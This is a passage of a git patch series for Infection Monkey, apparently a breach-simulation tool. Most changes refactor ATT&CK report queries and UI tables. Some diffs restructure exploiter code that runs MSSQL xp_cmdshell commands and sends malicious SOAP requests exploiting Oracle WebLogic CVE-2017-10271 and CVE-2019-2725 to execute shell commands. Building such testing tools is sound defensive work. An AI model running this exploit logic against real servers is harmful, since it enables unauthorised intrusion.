@@ -13,7 +13,7 @@ class T1110(AttackTechnique):
used_msg = "Monkey successfully used brute force in the network."
# Gets data about brute force attempts
- query = [{'$match': {'telem_type': 'exploit',
+ query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
index 9a968e998..b6bd316af 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
@@ -13,13 +13,15 @@ class T1197(AttackTechnique):
@staticmethod
def get_report_data():
data = T1197.get_tech_base_data()
- bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', 'data.technique': T1197.tech_id}},
- {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', 'usage': '$data.usage'},
- 'ip_addr': {'$first': '$data.machine.ip_addr'},
- 'domain_name': {'$first': '$data.machine.domain_name'},
- 'usage': {'$first': '$data.usage'},
- 'time': {'$first': '$timestamp'}}
- }])
+ bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack',
+ 'data.technique': T1197.tech_id}},
+ {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr',
+ 'usage': '$data.usage'},
+ 'ip_addr': {'$first': '$data.machine.ip_addr'},
+ 'domain_name': {'$first': '$data.machine.domain_name'},
+ 'usage': {'$first': '$data.usage'},
+ 'time': {'$first': '$timestamp'}}
+ }])
bits_results = list(bits_results)
data.update({'bits_jobs': bits_results})
return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 2352772c0..abca8987a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1059 extends React.Component {
@@ -14,13 +14,14 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
+ console.log(this.props.data);
return (
{this.props.data.message}
From 3e9dcd3646bc8474d473611349dc38b5b667debb Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 26 Jun 2019 14:58:07 +0300
Subject: [PATCH 27/31] Powershell query changed to parse array of executed
command dicts
---
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/web_rce.py | 2 +-
monkey/infection_monkey/exploit/weblogic.py | 4 ++--
.../cc/services/attack/technique_reports/T1003.py | 4 ++--
.../cc/services/attack/technique_reports/T1059.py | 5 ++++-
.../cc/services/attack/technique_reports/T1086.py | 13 +++++++++----
.../cc/ui/src/components/attack/techniques/T1059.js | 7 +++----
.../cc/ui/src/components/attack/techniques/T1086.js | 6 +++---
8 files changed, 25 insertions(+), 18 deletions(-)
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 7bbd0e4ad..9d1dcb2d6 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -66,7 +66,7 @@ class MSSQLExploiter(HostExploiter):
"xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
- self.add_powershell_cmd(' '.join(commands))
+ self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 58068fe91..fe45c65ce 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -338,7 +338,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
- self.add_powershell_cmd(command)
+ self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index f6df5f0fa..4c99f82b9 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -20,8 +20,8 @@ __author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
-# How long should we wait after each request in seconds
-REQUEST_DELAY = 0.1
+# How long should be wait after each request in seconds
+REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index cd1a538cb..a92758cbc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -13,8 +13,8 @@ class T1003(AttackTechnique):
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
- # $gt: {} checks if field is not an empty object
- {'data.credentials': {'$gt': {}}}]}
+ # $gt: {} checks if field is not an empty object
+ {'data.credentials': {'$gt': {}}}]}
@staticmethod
def get_report_data():
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 488a8f547..328c11112 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -14,10 +14,13 @@ class T1059(AttackTechnique):
query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
+ {'$unwind': '$data.info.executed_cmds'},
+ {'$sort': {'data.info.executed_cmds.powershell': 1}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
- {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
+ {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}},
+ {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}]
@staticmethod
def get_report_data():
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index 8e550cfcf..4114047c5 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -12,11 +12,16 @@ class T1086(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
- query = [{'$match': {'telem_type': 'exploit',
- 'data.info.executed_cmds.example': {'$elemMatch': {'powershell': True}}}},
- {'$project': {'_id': 0,
- 'machine': '$data.machine',
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}},
+ {'$project': {'machine': '$data.machine',
'info': '$data.info'}},
+ {'$project': {'_id': 0,
+ 'machine': 1,
+ 'info.finished': 1,
+ 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds',
+ 'as': 'command',
+ 'cond': {'$eq': ['$$command.powershell', True]}}}}},
{'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
@staticmethod
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index abca8987a..57d5bcb2c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -14,14 +14,13 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
- {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
- console.log(this.props.data);
return (
{this.props.data.message}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
index d0b7c2928..d6d22c093 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1086 extends React.Component {
@@ -14,9 +14,9 @@ class T1086 extends React.Component {
return ([{
Header: 'Example Powershell commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.powershell, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
From 737c735f8f4a5382c91495f4bb1a4f705560dd3c Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 26 Jun 2019 17:02:44 +0300
Subject: [PATCH 28/31] Updated attack report in pass the hash
---
monkey/monkey_island/cc/services/attack/attack_report.py | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 35dd87676..43bdeb411 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,6 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110
-from monkey_island.cc.services.attack.attack_telem import AttackTelemService
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
From e4bb468cc2fabca1b71dcd1b41e0a53141551c8c Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 26 Jun 2019 17:06:35 +0300
Subject: [PATCH 29/31] Updated attack report in powershell
---
monkey/monkey_island/cc/services/attack/attack_report.py | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 3fccd3cd9..01990ff78 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,6 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059
-from monkey_island.cc.services.attack.attack_telem import AttackTelemService
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
From c5e1b0a93f3a32cd9fbd6236131f3d4d429bce1e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 1 Jul 2019 13:53:37 +0300
Subject: [PATCH 30/31] WeblogicExploiter class refactored to only handle
vulnerability execution.
---
monkey/infection_monkey/exploit/weblogic.py | 112 ++++++++++--------
.../cc/services/config_schema.py | 2 +-
.../cc/ui/src/components/pages/ReportPage.js | 8 +-
3 files changed, 65 insertions(+), 57 deletions(-)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 83439e64f..300f52f0e 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -1,3 +1,48 @@
+from __future__ import print_function
+import threading
+import logging
+import time
+import copy
+
+from requests import post, exceptions
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
+
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for get request in seconds
+SERVER_TIMEOUT = 4
+# How long should we wait after each request in seconds
+REQUEST_DELAY = 0.1
+# How long to wait for a sign(request from host) that server is vulnerable. In seconds
+REQUEST_TIMEOUT = 5
+# How long to wait for response in exploitation. In seconds
+EXECUTION_TIMEOUT = 15
+# Malicious requests' headers:
+HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+}
+
+
+class WebLogicExploiter(HostExploiter):
+
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Weblogic'
+
+ def exploit_host(self):
+ exploiters = [WebLogic20192725, WebLogic201710271]
+ for exploiter in exploiters:
+ if exploiter(self.host).exploit_host():
+ return True
+
+
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
@@ -5,31 +50,7 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
-from __future__ import print_function
-from requests import post, exceptions
-from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
-from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
-
-import threading
-import logging
-import time
-import copy
-
-__author__ = "VakarisZ"
-
-LOG = logging.getLogger(__name__)
-# How long server waits for get request in seconds
-SERVER_TIMEOUT = 4
-# How long should be wait after each request in seconds
-REQUEST_DELAY = 0.1
-# How long to wait for a sign(request from host) that server is vulnerable. In seconds
-REQUEST_TIMEOUT = 5
-# How long to wait for response in exploitation. In seconds
-EXECUTION_TIMEOUT = 15
-
-
-class WebLogicExploiter(WebRCE):
+class WebLogic201710271(WebRCE):
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
@@ -38,44 +59,29 @@ class WebLogicExploiter(WebRCE):
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
- # Malicious request's headers:
- HEADERS = {
- "Content-Type": "text/xml;charset=UTF-8",
- "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
- "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
- }
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Weblogic'
+
+ _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
+ _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
- super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
+ super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
- exploit_config = super(WebLogicExploiter, self).get_exploit_config()
+ exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
- exploit_config['url_extensions'] = WebLogicExploiter.URLS
+ exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config
- def exploit_host(self):
- exploiters = [WebLogic20192725]
- for exploiter in exploiters:
- if exploiter(self.host).exploit_host():
- return True
- if super(WebLogicExploiter, self).exploit_host():
- return True
- else:
- return False
-
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
- post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+ post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
@@ -111,7 +117,7 @@ class WebLogicExploiter(WebRCE):
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
- post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False)
+ post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
pass
@@ -207,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
+
def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip
self.local_port = local_port
@@ -223,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
+
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
@@ -243,8 +251,8 @@ class WebLogicExploiter(WebRCE):
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Weblogic'
+ _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
+ _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
@@ -262,14 +270,14 @@ class WebLogic20192725(WebRCE):
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
- resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT)
+ resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
- headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''})
+ headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "env:Client" in res.text:
return True
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 46129266c..4c4df247e 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -89,7 +89,7 @@ SCHEMA = {
"enum": [
"WebLogicExploiter"
],
- "title": "Oracle Web Logic Exploiter"
+ "title": "WebLogic Exploiter"
},
{
"type": "string",
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 40ef7ba7f..52e8cbdfb 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638) : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
- - Oracle WebLogic servers are vulnerable to remote code execution. (
- CVE-2017-10271)
: null }
+ - Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
: null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
- Hadoop/Yarn servers are vulnerable to remote code execution.
: null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@@ -895,7 +893,9 @@ class ReportPageComponent extends AuthComponent {
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
- The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
+ The attack was made possible due to one of the following vulnerabilities:
+ CVE-2017-10271 or
+ CVE-2019-2725
);
From f50bdca80131a9887411437bc6e62884b21f0478 Mon Sep 17 00:00:00 2001
From: itay
Date: Sun, 7 Jul 2019 11:14:19 +0300
Subject: [PATCH 31/31] Remove console.log
---
.../cc/ui/src/components/attack/techniques/T1059.js | 1 -
1 file changed, 1 deletion(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index abca8987a..5cc48a4c9 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -21,7 +21,6 @@ class T1059 extends React.Component {
}])};
render() {
- console.log(this.props.data);
return (
{this.props.data.message}